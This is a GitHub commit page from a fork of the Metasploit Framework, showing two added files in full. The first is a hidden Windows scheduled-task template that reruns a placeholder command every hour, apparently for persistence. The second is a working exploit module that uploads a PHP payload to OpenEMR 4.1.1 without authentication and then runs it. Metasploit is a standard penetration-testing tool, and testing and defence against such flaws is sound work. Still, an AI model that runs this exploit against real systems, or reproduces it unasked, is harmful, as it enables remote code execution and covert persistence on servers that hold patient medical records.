forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'rapid7' into R3dy-psexec-mixin2
- Loading branch information
Showing
8 changed files
with
965 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
<?xml version="1.0" encoding="UTF-16"?> | ||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> | ||
<RegistrationInfo> | ||
<Date>DATEHERE</Date> | ||
<Author>USERHERE</Author> | ||
</RegistrationInfo> | ||
<Triggers> | ||
<TimeTrigger> | ||
<Repetition> | ||
<Interval>PT60M</Interval> | ||
<StopAtDurationEnd>false</StopAtDurationEnd> | ||
</Repetition> | ||
<StartBoundary>DATEHERE</StartBoundary> | ||
<Enabled>true</Enabled> | ||
</TimeTrigger> | ||
</Triggers> | ||
<Principals> | ||
<Principal id="Author"> | ||
<UserId>DOMAINHERE</UserId> | ||
<LogonType>S4U</LogonType> | ||
<RunLevel>LeastPrivilege</RunLevel> | ||
</Principal> | ||
</Principals> | ||
<Settings> | ||
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> | ||
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> | ||
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> | ||
<AllowHardTerminate>true</AllowHardTerminate> | ||
<StartWhenAvailable>false</StartWhenAvailable> | ||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> | ||
<IdleSettings> | ||
<Duration>PT10M</Duration> | ||
<WaitTimeout>PT1H</WaitTimeout> | ||
<StopOnIdleEnd>true</StopOnIdleEnd> | ||
<RestartOnIdle>false</RestartOnIdle> | ||
</IdleSettings> | ||
<AllowStartOnDemand>true</AllowStartOnDemand> | ||
<Enabled>true</Enabled> | ||
<Hidden>true</Hidden> | ||
<RunOnlyIfIdle>false</RunOnlyIfIdle> | ||
<WakeToRun>false</WakeToRun> | ||
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit> | ||
<Priority>7</Priority> | ||
</Settings> | ||
<Actions Context="Author"> | ||
<Exec> | ||
<Command>COMMANDHERE</Command> | ||
</Exec> | ||
</Actions> | ||
</Task> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,132 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "OpenEMR PHP File Upload Vulnerability", | ||
'Description' => %q{ | ||
This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the | ||
ofc_upload_image.php file from the openflashchart library, a malicious user can | ||
upload a file to the tmp-upload-images directory without any authentication, which | ||
results in arbitrary code execution. The module has been tested successfully on | ||
OpenEMR 4.1.1 over Ubuntu 10.04. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC | ||
'juan vazquez' # Metasploit module | ||
], | ||
'References' => | ||
[ | ||
[ 'OSVDB', '90222' ], | ||
[ 'BID', '37314' ], | ||
[ 'EBD', '24492' ], | ||
[ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ], | ||
[ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ] | ||
], | ||
'Platform' => ['php'], | ||
'Arch' => ARCH_PHP, | ||
'Targets' => | ||
[ | ||
['OpenEMR 4.1.1', {}] | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => "Feb 13 2013", | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) | ||
], self.class) | ||
end | ||
|
||
def check | ||
uri = target_uri.path | ||
peer = "#{rhost}:#{rport}" | ||
|
||
# Check version | ||
print_status("#{peer} - Trying to detect installed version") | ||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(uri, "interface", "login", "login.php") | ||
}) | ||
|
||
if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/ | ||
version = $1 | ||
else | ||
return Exploit::CheckCode::Unknown | ||
end | ||
|
||
print_status("#{peer} - Version #{version} detected") | ||
|
||
if version > "4.1.1" | ||
return Exploit::CheckCode::Safe | ||
end | ||
|
||
# Check for vulnerable component | ||
print_status("#{peer} - Trying to detect the vulnerable component") | ||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"), | ||
}) | ||
|
||
if res and res.code == 200 and res.body =~ /Saving your image to/ | ||
return Exploit::CheckCode::Detected | ||
end | ||
|
||
return Exploit::CheckCode::Safe | ||
end | ||
|
||
def exploit | ||
uri = target_uri.path | ||
|
||
peer = "#{rhost}:#{rport}" | ||
payload_name = rand_text_alpha(rand(10) + 5) + '.php' | ||
my_payload = payload.encoded | ||
|
||
print_status("#{peer} - Sending PHP payload (#{payload_name})") | ||
res = send_request_raw({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}", | ||
'headers' => { "Content-Length" => my_payload.length.to_s }, | ||
'data' => my_payload | ||
}) | ||
|
||
# If the server returns 200 and the body contains our payload name, | ||
# we assume we uploaded the malicious file successfully | ||
if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ | ||
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") | ||
end | ||
|
||
register_file_for_cleanup(payload_name) | ||
|
||
print_status("#{peer} - Executing PHP payload (#{payload_name})") | ||
# Execute our payload | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name), | ||
}) | ||
|
||
# If we don't get a 200 when we request our malicious payload, we suspect | ||
# we don't have a shell, either. Print the status code for debugging purposes. | ||
if res and res.code != 200 | ||
print_error("#{peer} - Server returned #{res.code.to_s}") | ||
end | ||
end | ||
|
||
end |
Oops, something went wrong.